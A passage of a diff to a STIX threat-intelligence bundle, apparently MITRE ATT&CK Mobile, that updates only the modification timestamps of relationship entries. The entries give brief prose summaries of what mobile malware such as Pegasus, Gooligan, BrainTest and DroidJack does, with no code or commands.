             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups stole SMS message content.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6664,7 +6661,7 @@
             "id": "relationship--9c7c302a-d5ba-4fc9-a4e5-e865fd7fb708",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "As reported by KasperskyAndroid/Chuli.A malicious application sent to activist groups stole geo-location data.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6685,7 +6682,7 @@
             "id": "relationship--83991b5c-59b9-4fe5-9ef2-39c6ddc8b835",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups gathered device data including \"phone number, OS version, phone model, and SDK version\".",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6706,7 +6703,7 @@
             "id": "relationship--c83c84e8-a556-4efe-ae24-75970ee8ad4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups used SMS to receive command and control messages.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6727,7 +6724,7 @@
             "id": "relationship--7c966cde-22fd-4eb2-b518-3e37a8fad88b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups used uploads to an http URL as a command and control mechanism.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
@@ -6748,7 +6745,7 @@
             "id": "relationship--3faed885-6a3d-444f-8e57-fd8818abb1cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroidOverlayMalware involved \"three campaigns in Europe\" that \"used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"",
             "source_ref": "malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
@@ -6769,7 +6766,7 @@
             "id": "relationship--f14af74f-fb6b-480f-91de-d755c89960ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroidOverlayMalware was distributed by sending \"SMS messages with an embedded link that leads to the malware app.\"",
             "source_ref": "malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
@@ -6790,7 +6787,7 @@
             "id": "relationship--706c698c-aa8d-4fac-a6c1-2e047c3f965c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Original samples of BrainTest \"download their exploit packs for rooting from a remote server after installation.\"",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
@@ -6811,7 +6808,7 @@
             "id": "relationship--02b3c8fe-1539-4c77-b67e-07fa8a22c91e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Original variants of BrainTest \"did have the ability to automatically root some devices, however, we did not observe that behavior in any of the 13 samples we recently discovered.\"",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
@@ -6832,7 +6829,7 @@
             "id": "relationship--78cc0d6d-6347-45a4-a18c-ca76150aa7a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BrainTest stores a secondary Android app package (APK) in its assets directory in encrypted form, and decrypts the payload at runtime.",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
@@ -6853,7 +6850,7 @@
             "id": "relationship--0e9edc13-7af7-43c4-8ec2-636b1f8cb7f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BrainTest uses root privileges if available to copy an additional Android app package (APK) to /system/priv-app to maintain persistence even after a factory reset.",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
@@ -6874,7 +6871,7 @@
             "id": "relationship--6086e1e2-1b39-4ff2-910e-4a4eb86d57b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BrainTest \"provided capabilities that allowed the developers to post positive reviews on their own malicious applications using compromised devices, which may explain why every sample we observed had a rating higher than 4.0\" and \"used infected devices to download other malicious applications they had submitted to the Play Store, which would inflate the number of downloads each application received.\"",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
@@ -6895,7 +6892,7 @@
             "id": "relationship--69bb264a-3f44-4132-9248-dd80a9f5efa2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\".",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
@@ -6916,7 +6913,7 @@
             "id": "relationship--e2ee6825-43c2-441f-ba96-404a330a9059",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"steals contacts...from the user's device\".",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
@@ -6937,7 +6934,7 @@
             "id": "relationship--7e4be913-d916-4a79-ac00-262a49afe070",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"checks whether it is being run in an emulator before it starts its malicious activity\".",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
@@ -6958,7 +6955,7 @@
             "id": "relationship--bee6407a-1f05-4f91-b6e7-a8f8b58fa421",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"encodes strings into binary arrays, making it hard to inspect them\", and \"loads code from encrypted resources dynamically, which most detection engines cannot penetrate and inspect. The dynamically-loaded code is also flooded with meaningless commands that mask the actual commands passing through.\"",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
@@ -6979,7 +6976,7 @@
             "id": "relationship--85c7e956-3ce5-4495-b52e-385ae2ee4f9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"checks the local settings of the device and does not run its malicious logic if the device is located in Ukraine, Russia, or Belarus. This is likely done to keep the developers from being prosecuted in their own countries or being extradited between countries.\"",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
@@ -7000,7 +6997,7 @@
             "id": "relationship--ed06f5dc-9d02-4896-a0a3-2f457c64f125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dendroid \"can take pictures using the phone\u2019s camera, record audio and video\".",
             "source_ref": "malware--317a2c10-d489-431e-b6b2-f0251fddc88e",
@@ -7021,7 +7018,7 @@
             "id": "relationship--81db3270-4cb8-4982-8ff8-c28a874e8421",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DressCode sets up a \"general purpose tunnel\" that can be used by an attacker to attack enterprise networks that the mobile device is connected to.",
             "source_ref": "malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca",
@@ -7042,7 +7039,7 @@
             "id": "relationship--5f82db63-d7c2-43c7-a056-3cf718201ced",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT included code from the legitimate Pokemon GO app in order to appear identical to the user, but it also included additional malicious code.",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
@@ -7063,7 +7060,7 @@
             "id": "relationship--910009da-65c0-4e6a-aeb2-386c643d1c0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT captures \"SMS data\".",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
@@ -7084,7 +7081,7 @@
             "id": "relationship--c65661a6-6047-4901-ac2c-3ca4b1bbbb28",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT captures \"call data\".",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
@@ -7105,7 +7102,7 @@
             "id": "relationship--69de3f7e-faa7-4342-b755-4777a68fd89b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT performs \"call recording\" and \"video capturing\".",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
@@ -7126,7 +7123,7 @@
             "id": "relationship--b7282bf9-63f8-49ad-8ee0-f2ad523a367e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DualToy \"side loads malicious or risky apps to both Android and iOS devices via a USB connection\" and also collects the \"connected iOS device\u2019s information including IMEI, IMSI, ICCID, serial number and phone number\".",
             "source_ref": "malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878",
@@ -7146,7 +7143,7 @@
             "id": "relationship--aa8e45c2-4276-451b-b1eb-59c396bf720a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gooligan executes Android root exploits.",
             "source_ref": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
@@ -7167,7 +7164,7 @@
             "id": "relationship--a25d58af-dbb3-4025-b91d-898c6adffcb3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gooligan steals \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\"",
             "source_ref": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
@@ -7188,7 +7185,7 @@
             "id": "relationship--42ae42eb-ea75-457a-bf39-4ea04304dd0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gooligan can \"[i]nstall adware to generate revenue\"",
             "source_ref": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
@@ -7209,7 +7206,7 @@
             "id": "relationship--ac523dfb-36be-4402-acf2-abe98e183eef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HummingBad (in July 2016) \"installs more than 50,000 fraudulent apps each day, displays 20 million malicious advertisements, and generates more than $300,000 per month in revenue.\"",
             "source_ref": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
@@ -7230,7 +7227,7 @@
             "id": "relationship--d87b468e-f610-4e95-8dfb-8cf029f0e891",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HummingBad can \"silently root a large percentage of the phones it infects by exploiting vulnerabilities that remain unfixed in older versions of Android.\"",
             "source_ref": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
@@ -7251,7 +7248,7 @@
             "id": "relationship--f947d845-4d70-41f3-ae3c-18ea8b44e667",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HummingBad can help create \"fraudulent statistics inside the official Google Play Store.\"",
             "source_ref": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
@@ -7272,7 +7269,7 @@
             "id": "relationship--b263e4e9-972d-4ba7-8be8-e55eb6a483c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"[T]he purpose of HummingWhale is to generate revenue by displaying fraudulent ads and automatically installing apps. When users try to close the ads, the new functionality causes already downloaded apps to run in a virtual machine. That creates a fake ID that allows the perpetrators to generate referral revenues.\"",
             "source_ref": "malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f",
@@ -7293,7 +7290,7 @@
             "id": "relationship--9f737872-3503-4ef4-b575-ab6037b33a98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"In addition to stealing Apple accounts to buy apps, KeyRaider also has built-in functionality to hold iOS devices for ransom.\"",
             "source_ref": "malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
@@ -7314,7 +7311,7 @@
             "id": "relationship--b596251a-73db-4e53-a04d-51be783b0241",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "On jailbroken iOS devices, \"[m]ost KeyRaider samples hook SSLRead and SSLWrite functions in the itunesstored process\" to intercept device communication with the Apple App Store and search \"for specific patterns to find the Apple account's username, password and device's GUID in the data being transferred\".",
             "source_ref": "malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
@@ -7335,7 +7332,7 @@
             "id": "relationship--6fce6a21-ab9b-44a5-be20-9b631109487b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MazarBOT is delivered via an unsolicited text message containing a link to a web download URI.",
             "source_ref": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
@@ -7356,7 +7353,7 @@
             "id": "relationship--5a6df1dd-9aa4-4f67-9195-8c3a9f5c0f7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MazarBOT can \"send messages to premium-rate numbers\".",
             "source_ref": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
@@ -7377,7 +7374,7 @@
             "id": "relationship--721cc30c-74cf-4eed-89a8-7a8e63e6c0e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MazarBOT can \"intercept two-factor authentication codes sent by online banking apps\".",
             "source_ref": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
@@ -7398,7 +7395,7 @@
             "id": "relationship--ffc24804-42db-4be1-a418-7f5ab9de453c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NotCompatible has the potential capability of exploiting systems on an enterprise network.",
             "source_ref": "malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe",
@@ -7419,7 +7416,7 @@
             "id": "relationship--b67f04d9-1cbd-49b4-9ec3-a33a41ac42ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The OBAD Android malware family contains encrypted code along with an obfuscated decryption routine to make it difficult to analyze.",
             "source_ref": "malware--ca4f63b9-a358-4214-bb26-8c912318cfde",
@@ -7433,7 +7430,7 @@
             "id": "relationship--51757971-17ac-40c3-bae7-78365579db49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The OBAD Android malware family abuses device administrator access to make it more difficult for users to remove the application.",
             "source_ref": "malware--ca4f63b9-a358-4214-bb26-8c912318cfde",
@@ -7447,7 +7444,7 @@
             "id": "relationship--373f33be-9b40-44f5-bfd3-db2a9f5fa72c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OldBoot uses escalated privileges to modify the init script on the device's boot partition to maintain persistence.",
             "source_ref": "malware--2074b2ad-612e-4758-adce-7901c1b49bbc",
@@ -7468,7 +7465,7 @@
             "id": "relationship--27247071-356b-4b5f-bc8f-6436a3fec095",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PJApps \"may collect and leak the victim's...location.\"",
             "source_ref": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
@@ -7489,7 +7486,7 @@
             "id": "relationship--4454a696-7619-40ee-971b-cbf646e4ee61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PJApps \"may send messages to premium SMS messages.\"",
             "source_ref": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
@@ -7510,7 +7507,7 @@
             "id": "relationship--789cb76e-27b0-4762-a2f7-3ff32ce0762d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PJApps \"may collect and leak the victim's phone number, mobile device unique identifier (IMEI)\".",
             "source_ref": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
@@ -7531,7 +7528,7 @@
             "id": "relationship--450a1b75-efa5-4d7a-bcd5-d3e63723b408",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus \"monitors the current connection state and tracks which types of networks the phone is connected to, potentially in order to determine the bandwidth and ability to send full data across the network\".",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7552,7 +7549,7 @@
             "id": "relationship--4f2ae057-ef0b-4995-b24d-348a76a74a4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus uses SMS for command and control.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7573,7 +7570,7 @@
             "id": "relationship--b7652f27-1cf6-4310-bf6b-5fb99c4fd725",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus has the ability to record audio.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7594,7 +7591,7 @@
             "id": "relationship--69718f1d-7761-41ae-b9d0-12c45f6b4ac4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus modifies the system partition to maintain persistence.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7615,7 +7612,7 @@
             "id": "relationship--94040d2e-3f60-423c-8a93-a83b61cafe7d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus \"constantly updates and sends the location of the phone\".",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7636,7 +7633,7 @@
             "id": "relationship--63e67cba-4eae-4495-8897-2610103a0c41",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus exploits iOS vulnerabilities to escalate privileges.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7657,7 +7654,7 @@
             "id": "relationship--7d481598-ece7-469c-b231-619a804c25e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus captures \"SMS messages the victim sends or receives\".",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7678,7 +7675,7 @@
             "id": "relationship--34351abd-1f58-420a-a893-ad822839815d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus captures call logs.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7699,7 +7696,7 @@
             "id": "relationship--7af7d094-3a49-4e5e-99d0-385c79f95f06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"Pegasus...constantly monitors the phone for status and disables any other access to the phone by previous/other jailbreaking software.\"",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7720,7 +7717,7 @@
             "id": "relationship--7baa3cab-c4f8-4b91-a6c3-189ad7a6416c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus \"gathers contacts from the system, dumping the victim's entire address book.\"",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7741,7 +7738,7 @@
             "id": "relationship--a290a8ca-e650-456c-b33e-03343fe5ea4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus accesses sensitive data in files, for example it \"saves any calls that Skype has previously recorded by reading them out of the Skype database files.\"",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7762,7 +7759,7 @@
             "id": "relationship--9e77b80d-4981-4908-9203-c4e7cea5b5d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus was delivered via an SMS message containing a link to a web site with malicious code.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7783,7 +7780,7 @@
             "id": "relationship--638f3d4b-f1d4-4c61-91a0-7c125ef8437a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
